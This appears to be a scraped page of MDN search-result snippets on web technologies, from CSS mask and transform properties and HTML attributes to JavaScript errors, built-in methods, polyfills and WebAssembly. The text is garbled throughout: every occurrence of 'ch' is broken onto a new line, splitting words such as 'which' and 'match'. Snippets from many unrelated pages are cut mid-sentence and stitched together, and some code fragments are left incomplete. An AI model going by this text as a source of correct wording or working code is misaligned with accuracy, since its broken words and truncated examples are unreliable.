ch of the properties of the shorthand:mask-image: nonemask-mode: mat
ch-sourcemask-repeat: no-repeatmask-position: centermask-clip: border-boxmask-origin: border-boxmask-size: automask-composite: addapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesas ea
ch of the properties of the shorthand:mask-position: refer t...
...o size of mask painting area minus size of mask layer image (see the text for background-position)computed valueas ea
ch of the properties of the shorthand:mask-image: as specified, but with <url> values made absolutemask-mode: as specifiedmask-repeat: consists of two keywords, one per dimensionmask-position: consists of two keywords representing the origin and two offsets from that origin, ea
ch given as an absolute length (if given a <length>), otherwise as a percentage.mask-clip: as specifiedmask-origin: as specifiedmask-size: as specified, but with relative lengths converted into absolute lengthsmask-composite: as specifiedanimation typeas ea
ch of the properties of the shorthand:mask-image: discretemask-mode: discretemask-repeat: discretemask-position: repeatable list of simple list of len...
... | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<bg-size> = [ <length-percentage> | auto ]{1,2} | cover | contain<repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}<geometry-box> = <shape-box> | fill-box | stroke-box | view-box<compositing-operator> = add | subtract | intersect | exclude<masking-mode> = alpha | luminance | mat
ch-sourcewhere <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><mask-source> = <url><length-percentage> = <length> | <percentage><shape-box> = <box> | margin-boxwhere <image()> = image( <image-tags>?
translateZ() - CSS: Cascading Style Sheets
this transformation is defined by a <length> whi
ch specifies how far inward or outward the element or elements move.
... in the above interactive examples, perspective: 550px; (to create a 3d space) and transform-style: preserve-3d; (so the
children, the 6 sides of the cube, are also positioned in the 3d space), have been set on the cube.
... note if the perspective() value is less than the translatez() value, su
ch as transform: perspective(200px) translatez(300px); the transformed element will not be visible as it is further than the user's viewport.
Used value - CSS: Cascading Style Sheets
note: the getcomputedstyle() dom api returns the resolved value, whi
ch may either be the computed value or the used value, depending on the property.
...the following are the css 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken from css 2.1
changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value' in that spe...
... working draft no
change.
user-select - CSS: Cascading Style Sheets
this doesn't have any effect on content loaded as
chrome, except in textboxes.
...webkit/
chromium-based browsers do implement the property as inherited, whi
ch violates the behavior described in the spec, and this will bring some issues.
... until now,
chromium
chooses to fix the issues, make the final behavior meets the specifications.
word-break - CSS: Cascading Style Sheets
syntax /* keyword values */ word-break: normal; word-break: break-all; word-break: keep-all; word-break: break-word; /* deprecated */ /* global values */ word-break: inherit; word-break: initial; word-break: unset; the word-break property is specified as a single keyword
chosen from the list of values below.
... break-all to prevent overflow, word breaks should be inserted between any two
characters (excluding
chinese/japanese/korean text).
... keep-all word breaks should not be used for
chinese/japanese/korean (cjk) text.
str:tokenize() - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes str:tokenize() splits a string using a set of
characters as delimiters that determine where the splits should occur, returning a node-set containing the resulting strings.
... delimiters ea
ch character in this string is used as a word separator while tokenizing.
... returns a node-set of token elements, ea
ch containing one token from the string.
Graphics on the Web - Developer guides
websites and applications often need to present graphics, su
ch as images.
...this te
chnology lets you use standard opengl es in web content.
... webrtc the rtc in webrtc stands for real-time communications, a te
chnology that enables audio/video streaming and data sharing between browser clients (peers).
XHTML - Developer guides
html document content-type: text/html <!doctype html> <html lang=en> <head> <meta
charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with...
...instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, whi
ch can cause a variety of sometimes-very-surprising problems.
...by henri sivonen xhtml is not for beginners by la
chlan hunt ...
HTML attribute: capture - HTML: Hypertext Markup Language
the capture attribute specifies that, optionally, a new file should be captured, and whi
ch device should be used to capture that new media of a type defined by the accept attribute.
... the capture attribute takes as it's value a string that specifies whi
ch camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
... environment the outward-facing camera and/or microphone should be used note: capture was previously a boolean attribute whi
ch, if present, requested that the device's media capture device(s) su
ch as camera or microphone be used instead of requesting a file input.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the crossorigin attribute, valid on the <audio>, <img>, <link>, <script>, and <video> elements, provides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fet
ched data.
...the "anonymous" keyword means that there will be no ex
change of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin.
... <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fet
ching a manifest that requires credentials, even if the file is from the same origin.
HTML attribute: max - HTML: Hypertext Markup Language
if the value exceeds the max value allowed, the validitystate.rangeoverflow will be true, and the the control will be mat
ched by the :out-of-range and :invalid pseudo-classes.
...e-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t23:59"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in contraint validation and will mat
ch the :invalid and :out-of-range pseudoclasses see client-side validation and rangeoverflow for more information.
... for the<progress> element, the max attribute describes how mu
ch work the task indicated by the progress element requires.
HTML attribute: size - HTML: Hypertext Markup Language
for the input, if the type attribute is text or password then it's the number of
characters.
...adding size on a select
changes the height, definining how many options are visible in the closed state.
... <label for="fruit">enter a fruit</label> <input type="text" size="15" id="fruit"> <label for="vegetable">enter a vegetable</label> <input type="text" id="vegetable"> <select name="fruits" size="5"> <option>banana</option> <option>
cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> specifications specification status html living standardthe definition of 'size attribute' in that specification.
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
the <applet> element was removed in gecko 56 and
chrome 47.
... ar
chive this attribute refers to an ar
chived or compressed version of the applet and its associated class files, whi
ch might help reduce download time.
... example html <applet code="game.class" align="left" ar
chive="game.zip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status comment html 5.2the definition of '<applet>' in that specification.
<article>: The Article Contents element - HTML: Hypertext Markup Language
the html <article> element represents a self-contained composition in a document, page, application, or site, whi
ch is intended to be independently distributable or reusable (e.g., in syndication).
... a given document can have multiple articles in it; for example, on a blog that shows the text of ea
ch article one after another as the reader scrolls, ea
ch post would be contained in an <article> element, possibly with one or more <section>s within.
... usage notes ea
ch <article> should be identified, typically by including a heading (<h1>-<h6> element) as a
child of the <article> element.
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
the text's
characters are drawn from the starting point in the given direction; the individual
characters' orientation is not affected (so
characters don't get drawn backward, for example).
... dir the direction in whi
ch text should be rendered in this element's contents.
... examples <!-- swit
ch text direction --> <p>this text will go left to right.</p> <p><bdo dir="rtl">this text will go right to left.</bdo></p> result notes the html 4 specification did not specify events for this element; they were added in xhtml.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
permitted content transparent but with no interactive content descendants except for <a> elements, <button> elements, <input> elements whose type attribute is
checkbox, radio, or button.
... sizing the canvas using css versus html the displayed size of the canvas can be
changed using css, but if you do this the image is scaled during rendering to fit the styled size, whi
ch can make the final graphics rendering end up being distorted.
...stack overflow): browser maximum height maximum width maximum area
chrome 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384) firefox 32,767 pixels 32,767 pixels 472,907,776 pixels (i.e., 22,528 x 20,992) safari 32,767 pixels 32,767 pixels 268,435,456 pixels (i.e., 16,384 x 16,384) ie 8,192 pixels 8,192 pixels ?
constructor - JavaScript
ed class, the default constructor calls the parent constructor, passing along any arguments that were provided: constructor(...args) { super(...args); } that enables code like this to work: class validationerror extends error { printcustomermessage() { return `validation failed :-( (details: ${this.message})`; } } try { throw new validationerror("not a valid phone number"); } cat
ch (error) { if (error instanceof validationerror) { console.log(error.name); // this is error instead of validationerror!
...for example: class validationerror extends error { constructor(message) { super(message); // call parent class constructor this.name = 'validationerror'; this.code = '42'; } printcustomermessage() { return `validation failed :-( (details: ${this.message}, code: ${this.code})`; } } try { throw new validationerror("not a valid phone number"); } cat
ch (error) { if (error instanceof validationerror) { console.log(error.name); // now this is validationerror!
... this.name = 'square'; } get area() { return this.height * this.width; } set area(value) { this.height = value**0.5; this.width = value**0.5; } } another example here the prototype of square class is
changed—but the constructor of its base class polygon is still called when a new instance of a square is created.
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
message warning: string.
charat is deprecated; use string.prototype.
charat instead warning: string.
charcodeat is deprecated; use string.prototype.
charcodeat instead warning: string.concat is deprecated; use string.prototype.concat instead warning: string.contains is deprecated; use string.prototype.contains instead warning: string.endswith is deprecated; use string.prototype.endswith instead warning: string.includes is deprecated; use string.prototype.includes instead warning: string.indexof is deprecated; use string.prototype.
...indexof instead warning: string.lastindexof is deprecated; use string.prototype.lastindexof instead warning: string.localecompare is deprecated; use string.prototype.localecompare instead warning: string.mat
ch is deprecated; use string.prototype.mat
ch instead warning: string.normalize is deprecated; use string.prototype.normalize instead warning: string.replace is deprecated; use string.prototype.replace instead warning: string.sear
ch is deprecated; use string.prototype.sear
ch instead warning: string.slice is deprecated; use string.prototype.slice instead warning: string.split is deprecated; use string.prototype.split instead warning:...
...vailable) (function() { 'use strict'; var i, // we could also build the array of methods with the following, but the // getownpropertynames() method is non-shimable: // object.getownpropertynames(string).filter(function(methodname) { // return typeof string[methodname] === 'function'; // }); methods = [ 'contains', 'substring', 'tolowercase', 'touppercase', '
charat', '
charcodeat', 'indexof', 'lastindexof', 'startswith', 'endswith', 'trim', 'trimleft', 'trimright', 'tolocalelowercase', 'normalize', 'tolocaleuppercase', 'localecompare', 'mat
ch', 'sear
ch', 'slice', 'replace', 'split', 'substr', 'concat', 'localecompare' ], methodcount = methods.length, assignstringgeneric = function(methodname) { var method = strin...
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
märz 2017" alternative standard syntax using the ecmascript intl api the ecma-402 (ecmascript intl api) standard specifies standard objects and methods that enable language sensitive date and time formatting (available in
chrome 24+, firefox 29+, ie11+, safari10+).
...märz 2017" or, you can make use of the intl.datetimeformat object, whi
ch allows you to ca
che an object with most of the computations done so that formatting is fast.
... var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var dateformatter = new intl.datetimeformat('de-de', options) var dates = [date.utc(2012, 11, 20, 3, 0, 0), date.utc(2014, 04, 12, 8, 0, 0)]; dates.forea
ch(date => console.log(dateformatter.format(date))); // "donnerstag, 20.
SyntaxError: identifier starts immediately after numeric literal - JavaScript
message syntaxerror: unexpected identifier after numeric literal (edge) syntaxerror: identifier starts immediately after numeric literal (firefox) syntaxerror: unexpected number (
chrome) error type syntaxerror what went wrong?
... the names of variables, called identifiers, conform to certain rules, whi
ch your code must adhere to!
...only subsequent
characters can be digits (0-9).
SyntaxError: missing variable name - JavaScript
check for typos!
... message syntaxerror: missing variable name (firefox) syntaxerror: unexpected token = (
chrome) error type syntaxerror what went wrong?
...
check to ensure the previous lines / declaration does not end with a comma instead of a semi-colon.
TypeError: can't delete non-configurable array element - JavaScript
message typeerror: can't delete non-configurable array element (firefox) typeerror: cannot delete property '2' of [object array] (
chrome) error type typeerror what went wrong?
...when shortening an array, the elements beyond the new array length will be deleted, whi
ch failed in this situation.
... the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be
changed.
Error: Permission denied to access property "x" - JavaScript
the javascript exception "permission denied to access property" occurs when there was an attempt to access an object for whi
ch you have no permission.
... there was attempt to access an object for whi
ch you have no permission.
... this is likely an <iframe> element loaded from a different domain for whi
ch you violated the same-origin policy.
TypeError: Reduce of empty array with no initial value - JavaScript
these functions optionally take an initialvalue (whi
ch will be used as the first argument to the first call of the callback).
... examples invalid cases this problem appears frequently when combined with a filter (array.prototype.filter(), typedarray.prototype.filter()) whi
ch will remove all elements of the list.
... one way is to actually provide an initialvalue as the neutral element of the operator, su
ch as 0 for the addition, 1 for a multiplication, or an empty string for a concatenation.
ReferenceError: assignment to undeclared variable "x" - JavaScript
message referenceerror: assignment to undeclared variable "x" (firefox) referenceerror: "x" is not defined (
chrome) referenceerror: variable undefined in strict mode (edge) error type referenceerror warning in strict mode only.
...there are some differences between declared and undeclared variables, whi
ch might lead to unexpected results and that's why javascript presents an error in strict mode.
... three things to note about declared and undeclared variables: declared variables are constrained in the execution context in whi
ch they are declared.
TypeError: invalid 'instanceof' operand 'x' - JavaScript
an object whi
ch has a prototype property and is callable.
... message typeerror: invalid 'instanceof' operand "x" (firefox) typeerror: "x" is not a function (firefox) typeerror: right-hand side of 'instanceof' is not an object (
chrome) typeerror: right-hand side of 'instanceof' is not callable (
chrome) error type typeerror what went wrong?
...an object whi
ch has a prototype property and is callable.
Rest parameters - JavaScript
whi
ch will cause all remaining (user supplied) arguments to be placed within a "standard" javascript array.
...formally defined in function expression), while the arguments object contains all arguments passed to the function; the arguments object is not a real array, while rest parameters are array instances, meaning methods like sort, map, forea
ch or pop can be applied on it directly; the arguments object has additional functionality specific to itself (like the callee property).
...ea
ch one of them is then multiplied by the first parameter, and the array is returned: function multiply(multiplier, ...theargs) { return theargs.map(element => { return multiplier * element }) } let arr = multiply(2, 1, 2, 3) console.log(arr) // [2, 4, 6] use with the arguments object array methods can be used on rest parameters, but not on the arguments object: function sortrestargs(.
setter - JavaScript
description in javascript, a setter can be used to execute a function whenever a specified property is attempted to be
changed.
... note the following when working with the set syntax: it can have an identifier whi
ch is either a number or a string; it must have exactly one parameter (see incompatible es5
change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another set or with a data entry for the same property.
... const o = {a: 0}; object.defineproperty(o, 'b', { set: function(x) { this.a = x / 2; } }); o.b = 10; // runs the setter, whi
ch assigns 10 / 2 (5) to the 'a' property console.log(o.a) // 5 using a computed property name const expr = 'foo'; const obj = { baz: 'bar', set [expr](v) { this.baz = v; } }; console.log(obj.baz); // "bar" obj.foo = 'baz'; // run the setter console.log(obj.baz); // "baz" specifications specification ecmascript (ecma-262)the definition of 'method definitions' ...
Array.isArray() - JavaScript
array.isarray([1, 2, 3]); // true array.isarray({foo: 123}); // false array.isarray('foobar'); // false array.isarray(undefined); // false syntax array.isarray(value) parameters value the value to be
checked.
...e known fact: array.prototype itself is an array: array.isarray(array.prototype); // all following calls return false array.isarray(); array.isarray({}); array.isarray(null); array.isarray(undefined); array.isarray(17); array.isarray('array'); array.isarray(true); array.isarray(false); array.isarray(new uint8array(32)); array.isarray({ __proto__: array.prototype }); instanceof vs isarray when
checking for array instance, array.isarray is preferred over instanceof because it works through iframes.
... var iframe = document.createelement('iframe'); document.body.append
child(iframe); xarray = window.frames[window.frames.length-1].array; var arr = new xarray(1,2,3); // [1,2,3] // correctly
checking for array array.isarray(arr); // true // considered harmful, because doesn't work through iframes arr instanceof array; // false specifications specification ecmascript (ecma-262)the definition of 'array.isarray' in that specification.
Array.prototype.shift() - JavaScript
this method
changes the length of the array.
...objects whi
ch do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.
...in the following example every iteration will remove the next element from an array, until it is empty: var names = ["andrew", "edward", "paul", "
chris" ,"john"]; while( (i = names.shift()) !== undefined ) { console.log(i); } // andrew, edward, paul,
chris, john specifications specification ecmascript (ecma-262)the definition of 'array.prototype.shift' in that specification.
Array.prototype.splice() - JavaScript
the splice() method
changes the contents of an array by removing or replacing existing elements and/or adding new elements in place.
... syntax let arrdeleteditems = array.splice(start[, deletecount[, item1[, item2[, ...]]]]) parameters start the index at whi
ch to start
changing the array.
... description if the specified number of elements to insert differs from the number of elements being removed, the array's length will be
changed.
Reflect.defineProperty() - JavaScript
syntax reflect.defineproperty(target, propertykey, attributes) parameters target the target object on whi
ch to define the property.
...for more details, see the object.defineproperty whi
ch is similar.
... examples using reflect.defineproperty() let obj = {} reflect.defineproperty(obj, 'x', {value: 7}) // true obj.x // 7
checking if property definition has been successful with object.defineproperty, whi
ch returns an object if successful, or throws a typeerror otherwise, you would use a try...cat
ch block to cat
ch any error that occurred while defining a property.
RegExp.prototype[@@replace]() - JavaScript
the [@@replace]() method replaces some or all mat
ches of a this pattern in a string by a replacement, and returns the result of the replacement as a new string.
... the replacement can be a string or a function to be called for ea
ch mat
ch.
... return value a new string with some or all mat
ches of a pattern replaced by a replacement.
RegExp.prototype.global - JavaScript
the "g" flag indicates that the regular expression should be tested against all possible mat
ches in a string.
... a regular expression defined as both global ("g") and sticky ("y") will ignore the global flag and perform sticky mat
ches.
... you cannot
change this property directly.
RegExp.input ($_) - JavaScript
the non-standard input property is a static property of regular expressions that contains the string against whi
ch a regular expression is mat
ched.
... the value of the input property is modified whenever the sear
ched string on the regular expression is
changed and that string is mat
ching.
... examples using input and $_ var re = /hi/g; re.test('hi there!'); regexp.input; // "hi there!" re.test('foo'); // new test, non-mat
ching regexp.$_; // "hi there!" re.test('hi world!'); // new test, mat
ching regexp.$_; // "hi world!" specifications specification legacy regexp features in javascript ...
Set.prototype.entries() - JavaScript
the entries() method returns a new iterator object that contains an array of [value, value] for ea
ch element in the set object, in insertion order.
...however, to keep the api similar to the map object, ea
ch entry has the same value for its key and value here, so that an array [value, value] is returned.
... syntax myset.entries() return value a new iterator object that contains an array of [value, value] for ea
ch element in the given set, in insertion order.
String.prototype.codePointAt() - JavaScript
return value a number representing the code point value of the
character at the given pos.
...e.codepointat) { (function() { 'use strict'; // needed to support `apply`/`call` with `undefined`/`null` var defineproperty = (function() { // ie 8 only supports `object.defineproperty` on dom elements try { var object = {}; var $defineproperty = object.defineproperty; var result = $defineproperty(object, object, object) && $defineproperty; } cat
ch(error) {} return result; }()); var codepointat = function(position) { if (this == null) { throw typeerror(); } var string = string(this); var size = string.length; // `tointeger` var index = position ?
... number(position) : 0; if (index != index) { // better `isnan` index = 0; } // account for out-of-bounds indices: if (index < 0 || index >= size) { return undefined; } // get the first code unit var first = string.
charcodeat(index); var second; if ( //
check if it’s the start of a surrogate pair first >= 0xd800 && first <= 0xdbff && // high surrogate size > index + 1 // there is a next code unit ) { second = string.
charcodeat(index + 1); if (second >= 0xdc00 && second <= 0xdfff) { // low surrogate // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return firs...
String length - JavaScript
utf-16, the string format used by javascript, uses a single 16-bit code unit to represent the most common
characters, but needs to use two code units for less commonly-used
characters, so it's possible for the value returned by length to not mat
ch the actual number of
characters in the string.
... the static property string.length is unrelated to the length of strings, it's the arity of the string function (loosely, the number of formal parameters it has), whi
ch is 1.
... unicode since `length` counts code units instead of
characters, if you want to get the number of
characters you need something like this: function get
characterlength (str) { // the string iterator that is used here iterates over
characters, // not mere code units return [...str].length; } console.log(get
characterlength('a\ud87e\udc04z')); // 3 // while not recommended, you could add this to ea
ch string as follows: object.defineproperty(string.prototype, '
charlength', { get () { return get
characterlength(this); } }); console.log('a\ud87e\udc04z'.
charlength); // 3 examples basic usage let x = 'mozilla'; let empty = ''; console.log(x + ' is ' + x.length + ' code units long'); /* "mozilla is 7 code units long" */ console.log('the empty string has a length of ' + empt...
String.prototype.repeat() - JavaScript
the repeat() method constructs and returns a new string whi
ch contains the specified number of copies of the string on whi
ch it was called, concatenated together.
... count = +count; //
check nan if (count != count) count = 0; if (count < 0) throw new rangeerror('repeat count must be non-negative'); if (count == infinity) throw new rangeerror('repeat count must be less than infinity'); count = math.floor(count); if (str.length == 0 || count == 0) return ''; // ensuring count is a 31-bit integer allows us to heavily optimize the ...
...but anyway, most current (august 2014) browsers can't handle // strings 1 << 28
chars or longer, so: if (str.length * count >= 1 << 28) throw new rangeerror('repeat count must not overflow maximum string size'); var maxcount = str.length * count; count = math.floor(math.log(count) / math.log(2)); while (count) { str += str; count--; } str += str.substring(0, maxcount - str.length); return str; } } examples using repeat 'abc'.repeat(-1) // rangeerror 'abc'.repeat(0) // '' 'abc'.repeat(1) // 'abc' 'abc'.repeat(2) // 'abcabc' 'abc'.repeat(3.5) // 'abcabcabc' (count will be converted to integer) 'abc'.repeat(1/0) // rangeerror ({ tostring: () => 'abc', repeat: string.prototype.repeat }).repeat(2) // 'ab...
Symbol.iterator - JavaScript
description whenever an object needs to be iterated (su
ch as at the beginning of a for..of loop), its @@iterator method is called with no arguments, and the returned iterator is used to obtain the values to be iterated.
... some built-in types have a default iteration behavior, while other types (su
ch as object) do not.
...using it as su
ch is likely to result in runtime exceptions or buggy behavior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a function specifications specification ecmascript (ecma-262)the definition of 'symbol.iterator' in that specification.
TypeError - JavaScript
a typeerror may be thrown when: an operand or argument passed to a function is incompatible with the type expected by that operator or function; or when attempting to modify a value that cannot be
changed; or when attempting to use a value in an inappropriate way.
... examples cat
ching a typeerror try { null.f() } cat
ch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scrat
chpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) ...
...// "@scrat
chpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } cat
ch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scrat
chpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'typeerror' in that specification.
TypedArray.BYTES_PER_ELEMENT - JavaScript
the typedarray.bytes_per_element property represents the size in bytes of ea
ch element in an typed array.
... property attributes of typedarray.bytes_per_element writable no enumerable no configurable no description typedarray objects differ from ea
ch other in the number of bytes per element and in the way the bytes are interpreted.
... the bytes_per_element constant contains the number of bytes ea
ch element in the given typedarray has.
TypedArray.prototype.reduce() - JavaScript
the reduce() method applies a function against an accumulator and ea
ch value of the typed array (from left-to-right) has to reduce it to a single value.
... syntax typedarray.reduce(callback[, initialvalue]) parameters callback function to execute on ea
ch value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduce method executes the callback function once for ea
ch element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the typed array over whi
ch iteration is occurring.
TypedArray.prototype.reduceRight() - JavaScript
the reduceright() method applies a function against an accumulator and ea
ch value of the typed array (from right-to-left) has to reduce it to a single value.
... syntax typedarray.reduceright(callback[, initialvalue]) parameters callback function to execute on ea
ch value in the typed array, taking four arguments: previousvalue the value previously returned in the last invocation of the callback, or initialvalue, if supplied (see below).
... description the reduceright method executes the callback function once for ea
ch element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value from the previous callback call), the value of the current element, the current index, and the typed array over whi
ch iteration is occurring.
TypedArray.prototype.toLocaleString() - JavaScript
the elements are converted to strings and are separated by a locale-specific string (su
ch as a comma “,”).
... this method has the same algorithm as array.prototype.tolocalestring() and, as the typed array elements are numbers, the same algorithm as number.prototype.tolocalestring() applies for ea
ch element.
...in implementations, whi
ch ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation dependent.
WebAssembly.Memory.prototype.grow() - JavaScript
syntax memory.grow(number); parameters number the number of webassembly pages you want to grow the memory by (ea
ch one is 64kib in size).
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrow
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
WebAssembly.Module.exports() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fet
ch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexports
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
WebAssembly.Module.imports() - JavaScript
webassembly.compilestreaming(fet
ch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimports
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
WebAssembly.Table.prototype.get() - JavaScript
webassembly.instantiatestreaming(fet
ch('table.wasm')) .then(function(obj) { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsget
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
WebAssembly.Table.prototype.set() - JavaScript
object that contains a reference to the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming(), log the table length, and invoke the two referenced functions that are now stored in the table (the table2.wasm module (see text representation) adds two function references to the table, both of whi
ch print out a simple value): webassembly.instantiatestreaming(fet
ch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsset
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
WebAssembly.compile() - JavaScript
var worker = new worker("wasm_worker.js"); fet
ch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile().
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompile
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome android ...
decodeURIComponent() - JavaScript
description replaces ea
ch escape sequence in the encoded uri component with the
character that it represents.
... examples decoding a cyrillic url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" cat
ching errors try { var a = decodeuricomponent('%e0%a4%a'); } cat
ch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a url decodeuricomponent cannot be used directly to parse query parameters from a url.
... function decodequeryparam(p) { return decodeuricomponent(p.replace(/\+/g, ' ')); } decodequeryparam('sear
ch+query%20%28correct%29'); // 'sear
ch query (correct)' specifications specification ecmascript (ecma-262)the definition of 'decodeuricomponent' in that specification.
unescape() - JavaScript
warning: although unescape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable
characteristics and in the absence of legacy usage would be removed from this specification.
...… the unescape() function computes a new string in whi
ch hexadecimal escape sequences are replaced with the
character that it represents.
... return value a new string in whi
ch certain
characters have been unescaped.
Bitwise AND (&) - JavaScript
the bitwise and operator (&) returns a 1 in ea
ch bit position for whi
ch the corresponding bits of both operands are 1s.
...for example, the following integer with more than 32 bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 ea
ch bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.
... the operator is applied to ea
ch pair of bits, and the result is constructed bitwise.
Bitwise OR (|) - JavaScript
the bitwise or operator (|) returns a 1 in ea
ch bit position for whi
ch the corresponding bits of either or both operands are 1s.
